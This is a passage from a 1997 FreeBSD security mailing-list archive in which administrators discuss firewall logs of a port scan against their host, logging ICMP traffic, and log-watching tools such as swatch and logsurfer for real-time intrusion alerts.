upgrade (I'm currently running 2.2.1- > RELEASE and wanted to upgrade to -stable). > ipfw has been in the source tree since 94.10.28 jmb From owner-freebsd-security Fri Jun 27 07:50:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA24556 for security-outgoing; Fri, 27 Jun 1997 07:50:00 -0700 (PDT) Received: from weblock.tm.net.my (weblock.tm.net.my [202.188.0.180]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA24551 for ; Fri, 27 Jun 1997 07:49:56 -0700 (PDT) Received: from lovebox ([202.184.153.17]) by weblock.tm.net.my (Post.Office MTA v3.1 release PO203a evaluation license) with SMTP id AAA10020 for ; Fri, 27 Jun 1997 22:50:16 +0800 Message-Id: <3.0.32.19970627224059.009cece0@mail.tm.net.my> X-Sender: sweeting@mail.tm.net.my X-Mailer: Windows Eudora Pro Version 3.0 (32) To: security@freebsd.org From: chas Subject: how can we monitor in real time ? (was Re: probing from jrc-5-104.tm.net.my) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 27 Jun 1997 22:50:16 +0800 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I sent along a bit of info on this one earlier but it did prompt me to wonder : "how can we check for this info (and DoS attackes or similar) in real time rather than afterwards in log files ? is there any software that can be configured to monitor your server and shout when it is possibly coming under attack ?" Thank you very much, chas >>Anyone know anything about this host ? >> >>Name: jrc-5-104.tm.net.my >>Address: 202.188.5.104 >> >>I noticed it probing ports in ipfw's logs. >> >>abbreviations: X = 202.188.5.104 Y = myhost Z = myhost >> >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1422 Y:2 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1423 Y:3 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1424 Y:4 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1425 Y:5 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1426 Y:6 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1428 Y:8 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1429 Y:9 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1430 Y:10 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1431 Y:11 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1432 Y:12 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1433 Y:13 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1434 Y:14 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1435 Y:15 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1436 Y:16 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1437 Y:17 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1438 Y:18 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1440 Y:20 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1441 Y:21 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1443 Y:23 via de0 >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1444 Y:24 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1445 Y:25 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1446 Y:26 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1447 Y:27 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1448 Y:28 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1449 Y:29 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1450 Y:30 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1451 Y:31 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1452 Y:32 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1453 Y:33 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1454 Y:34 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1455 Y:35 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1456 Y:36 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1457 Y:37 via de0 >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1458 Y:38 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1459 Y:39 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1460 Y:40 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1461 Y:41 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1462 Y:42 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1463 Y:43 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1464 Y:44 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1465 Y:45 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1466 Y:46 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1467 Y:47 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1468 Y:48 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1469 Y:49 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1470 Y:50 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1471 Y:51 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1472 Y:52 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1473 Y:53 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1474 Y:54 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1475 Y:55 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1476 Y:56 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1477 Y:57 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1478 Y:58 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1479 Y:59 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1480 Y:60 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1481 Y:61 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1482 Y:62 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1483 Y:63 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1484 Y:64 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1485 Y:65 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1486 Y:66 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1487 Y:67 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1488 Y:68 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1489 Y:69 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1490 Y:70 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1491 Y:71 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1492 Y:72 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1493 Y:73 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1494 Y:74 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1495 Y:75 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1496 Y:76 via de0 >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1497 Y:77 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1430 Y:10 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1432 Y:12 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1433 Y:13 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1431 Y:11 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1434 Y:14 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1441 Y:21 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1435 Y:15 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1436 Y:16 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1443 Y:23 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1444 Y:24 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1445 Y:25 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1438 Y:18 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1446 Y:26 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1447 Y:27 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1448 Y:28 via de0 >>Jun 25 04:07:15 Z /kernel: ipfw: limit reached on rule #2600 >> >> >> >>-- >>Rob Hartill Internet Movie Database (Ltd) >>http://www.moviedatabase.com/ .. a site for sore eyes. >> >> From owner-freebsd-security Fri Jun 27 07:51:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA24678 for security-outgoing; Fri, 27 Jun 1997 07:51:39 -0700 (PDT) Received: from ns2.harborcom.net (root@ns2.harborcom.net [206.158.4.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA24671 for ; Fri, 27 Jun 1997 07:51:37 -0700 (PDT) Received: from localhost (bradley@localhost) by ns2.harborcom.net (8.8.5/8.8.5) with SMTP id KAA06867; Fri, 27 Jun 1997 10:51:25 -0400 (EDT) Date: Fri, 27 Jun 1997 10:51:25 -0400 (EDT) From: Bradley Dunn X-Sender: bradley@ns2.harborcom.net To: Nathan Dorfman cc: freebsd-security@FreeBSD.ORG Subject: Re: ICMP Logging In-Reply-To: <199706271343.JAA04122@limbo.senate.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 27 Jun 1997, Nathan Dorfman wrote: > Is there a way for the kernel to syslog(3) all ICMP messages? This would serve IPFW will let you log any type of traffic you want. Check out the section in the handbook about it: http://www.freebsd.org/handbook/handbook72.html pbd -- You can make it illegal, but you can't make it unpopular. From owner-freebsd-security Fri Jun 27 09:06:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29010 for security-outgoing; Fri, 27 Jun 1997 09:06:27 -0700 (PDT) Received: from asterix.insight.co.za (asterix.insight.co.za [196.27.7.9]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA29004 for ; Fri, 27 Jun 1997 09:06:17 -0700 (PDT) Received: from tony by asterix.insight.co.za with local (Exim 1.62 #1) id 0whdWj-0003xj-00; Fri, 27 Jun 1997 18:05:37 +0200 Subject: Re: how can we monitor in real time ? (was Re: probing from To: sweeting@tm.net.my (chas) Date: Fri, 27 Jun 1997 18:05:37 +0200 (SAT) Cc: freebsd-security@freebsd.org In-Reply-To: <3.0.32.19970627224059.009cece0@mail.tm.net.my> from "chas" at Jun 27, 97 10:50:16 pm X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Message-Id: From: Tony Harverson Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I sent along a bit of info on this one earlier but it > did prompt me to wonder : > > "how can we check for this info (and DoS attackes or > similar) in real time rather than afterwards in log files ? > is there any software that can be configured to monitor > your server and shout when it is possibly coming under > attack ?" > > Thank you very much, > > chas > There is a piece of software called "logsurfer" which can be configured to watch log files and take any action that can be entered at the command line eg : tcp denys to someone of my machines get paged to me.. haven't get a url for it at the moment - give me a yell if you get stuck. Tony From owner-freebsd-security Fri Jun 27 09:17:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29702 for security-outgoing; Fri, 27 Jun 1997 09:17:02 -0700 (PDT) Received: from cs.iastate.edu (cs.iastate.edu [129.186.3.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA29695 for ; Fri, 27 Jun 1997 09:17:00 -0700 (PDT) Received: from domino.cs.iastate.edu (domino.cs.iastate.edu [129.186.3.92]) by cs.iastate.edu (8.8.5/8.7.1) with ESMTP id LAA05629; Fri, 27 Jun 1997 11:16:52 -0500 (CDT) Received: from localhost (ghelmer@localhost) by domino.cs.iastate.edu (8.8.5/8.7.1) with SMTP id LAA14536; Fri, 27 Jun 1997 11:16:50 -0500 (CDT) X-Authentication-Warning: domino.cs.iastate.edu: ghelmer owned process doing -bs Date: Fri, 27 Jun 1997 11:16:48 -0500 (CDT) From: Guy Helmer Reply-To: Guy Helmer To: chas cc: security@FreeBSD.ORG Subject: Re: how can we monitor in real time ? (was Re: probing from jrc-5-104.tm.net.my) In-Reply-To: <3.0.32.19970627224059.009cece0@mail.tm.net.my> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 27 Jun 1997, chas wrote: > I sent along a bit of info on this one earlier but it > did prompt me to wonder : > > "how can we check for this info (and DoS attackes or > similar) in real time rather than afterwards in log files ? > is there any software that can be configured to monitor > your server and shout when it is possibly coming under > attack ?" A simple method would be to log ipfw and tcp-wrappers (after having wrapped all TCP services in /etc/inetd.conf) messages, then use swatch (monitors logs using a given ruleset in real time; available as a port) to mail/page/shout/whatever when something unusual starts happening. [FreeBSD on a system with a soundcard and the rsynth port could make an amusing firewall -- one could have it shout "Help me! I'm under attack from xxx.yyy.zzz.www!" during a demonstration to pointy-haired managers] More sophisticated intrusion detectors have been researched (see http://www.cs.purdue.edu/coast/intrusion-detection/ids.html) but I didn't notice any that were freely available and useful for FreeBSD systems. Guy Helmer, Computer Science Graduate Student - ghelmer@cs.iastate.edu Iowa State University http://www.cs.iastate.edu/~ghelmer Ames, Iowa, USA 42 01'12"N, 93 40'23"W From owner-freebsd-security Fri Jun 27 11:33:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA06322 for security-outgoing; Fri, 27 Jun 1997 11:33:45 -0700 (PDT) Received: from mailbox.nosc.mil (mailbox.nosc.mil [198.253.27.40]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA06315 for ; Fri, 27 Jun 1997 11:33:43 -0700 (PDT) Received: from localhost (swann@localhost) by mailbox.nosc.mil (8.8.3/8.8.3) with SMTP id NAA03759; Fri, 27 Jun 1997 13:31:33 -0400 (EDT) X-Authentication-Warning: mailbox.nosc.mil: swann owned process doing -bs Date: Fri, 27 Jun 1997 13:31:32 -0400 (EDT) From: Bryan Swann X-Sender: swann@mailbox To: chas cc: security@FreeBSD.ORG Subject: Re: how can we monitor in real time ? (was Re: probing from jrc-5-104.tm.net.my) In-Reply-To: <3.0.32.19970627224059.009cece0@mail.tm.net.my> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk There is a tool I tried at one time called swatch. It would monitor a log file and perform an action based on information contained in the log. It is not that pretty, but you could configure it to send email or call other programs that could potentially page you. __________________________________________________________________________ | Bryan Swann (swann@nosc.mil) 803/974-4267 803/974-5080 (Fax) | | Eagan McAllister Associates, Inc. | | | | "Everything must be working perfectly, cause I don't smell any smoke" | -------------------------------------------------------------------------- On Fri, 27 Jun 1997, chas wrote: > I sent along a bit of info on this one earlier but it > did prompt me to wonder : > > "how can we check for this info (and DoS attackes or > similar) in real time rather than afterwards in log files ? > is there any software that can be configured to monitor > your server and shout when it is possibly coming under > attack ?" > > Thank you very much, > > chas > > > > >>Anyone know anything about this host ? > >> > >>Name: jrc-5-104.tm.net.my > >>Address: 202.188.5.104 > >> > >>I noticed it probing ports in ipfw's logs. > >> > >>abbreviations: X = 202.188.5.104 Y = myhost Z = myhost > >> > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1422 Y:2 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1423 Y:3 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1424 Y:4 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1425 Y:5 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1426 Y:6 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1428 Y:8 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1429 Y:9 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1430 Y:10 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1431 Y:11 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1432 Y:12 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1433 Y:13 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1434 Y:14 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1435 Y:15 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1436 Y:16 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1437 Y:17 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1438 Y:18 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1440 Y:20 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1441 Y:21 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1443 Y:23 via de0 > >>Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1444 Y:24 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1445 Y:25 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1446 Y:26 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1447 Y:27 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1448 Y:28 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1449 Y:29 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1450 Y:30 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1451 Y:31 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1452 Y:32 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1453 Y:33 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1454 Y:34 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1455 Y:35 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1456 Y:36 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1457 Y:37 via de0 > >>Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1458 Y:38 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1459 Y:39 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1460 Y:40 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1461 Y:41 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1462 Y:42 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1463 Y:43 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1464 Y:44 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1465 Y:45 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1466 Y:46 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1467 Y:47 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1468 Y:48 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1469 Y:49 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1470 Y:50 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1471 Y:51 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1472 Y:52 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1473 Y:53 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1474 Y:54 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1475 Y:55 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1476 Y:56 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1477 Y:57 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1478 Y:58 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1479 Y:59 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1480 Y:60 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1481 Y:61 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1482 Y:62 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1483 Y:63 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1484 Y:64 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1485 Y:65 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1486 Y:66 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1487 Y:67 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1488 Y:68 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1489 Y:69 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1490 Y:70 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1491 Y:71 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1492 Y:72 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1493 Y:73 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1494 Y:74 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1495 Y:75 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1496 Y:76 via de0 > >>Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1497 Y:77 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1430 Y:10 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1432 Y:12 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1433 Y:13 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1431 Y:11 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1434 Y:14 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1441 Y:21 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1435 Y:15 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1436 Y:16 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1443 Y:23 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1444 Y:24 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1445 Y:25 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1438 Y:18 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1446 Y:26 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1447 Y:27 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1448 Y:28 via de0 > >>Jun 25 04:07:15 Z /kernel: ipfw: limit reached on rule #2600 > >> > >> > >> > >>-- > >>Rob Hartill Internet Movie Database (Ltd) > >>http://www.moviedatabase.com/ .. a site for sore eyes. > >> > >> > From owner-freebsd-security Fri Jun 27 12:03:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA08233 for security-outgoing; Fri, 27 Jun 1997 12:03:16 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.51]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA08228 for ; Fri, 27 Jun 1997 12:03:10 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id PAA01026; Fri, 27 Jun 1997 15:02:54 -0400 (EDT) Date: Fri, 27 Jun 1997 15:02:53 -0400 (EDT) From: Brian Mitchell To: Nathan Dorfman cc: freebsd-security@FreeBSD.ORG Subject: Re: ICMP Logging In-Reply-To: <199706271343.JAA04122@limbo.senate.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 27 Jun 1997, Nathan Dorfman wrote: > Is there a way for the kernel to syslog(3) all ICMP messages? This would serve > two purposes; a) as I have all syslog messages directed to an unused vty I > could observer such DoS attacks in progress and b) if they are stored in the > log files I could use the logs in case the matter needed to be pursued further. > > If this is not a part of the current kernel, it would (IMO) be a very good > addition to -current and -stable. If you *are* planning on adding it soon, > please let me know and I'll hold off my upgrade (I'm currently running 2.2.1- > RELEASE and wanted to upgrade to -stable). > ipfw can do this; also, you could redirect tcpdump to a log file. You could also write a program using raw sockets to log icmp, or do the same with bpf. The latter has an advantage of being able to log icmp directed to any machine on your segment. Brian Mitchell brian@firehouse.net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt From owner-freebsd-security Fri Jun 27 12:31:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA10317 for security-outgoing; Fri, 27 Jun 1997 12:31:44 -0700 (PDT) Received: from weblock.tm.net.my (weblock.tm.net.my [202.188.0.180]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA10301 for ; Fri, 27 Jun 1997 12:31:37 -0700 (PDT) Received: from lovebox ([202.184.153.17]) by weblock.tm.net.my (Post.Office MTA v3.1 release PO203a evaluation license) with SMTP id AAA14548; Sat, 28 Jun 1997 03:31:50 +0800 Message-Id: <3.0.32.19970628032232.009047b0@mail.tm.net.my> X-Sender: sweeting@mail.tm.net.my X-Mailer: Windows Eudora Pro Version 3.0 (32) To: Tony Harverson From: chas Subject: Re: how can we monitor in real time ? (was Re: probing from Cc: freebsd-security@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 28 Jun 1997 03:31:50 +0800 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Thank you very much Tony, >There is a piece of software called "logsurfer" which can be configured to >watch log files and take any action that can be entered at the command line >eg : tcp denys to someone of my machines get paged to me.. > >haven't get a url for it at the moment - seems to have a port in the freebsd site so that is a good sign - 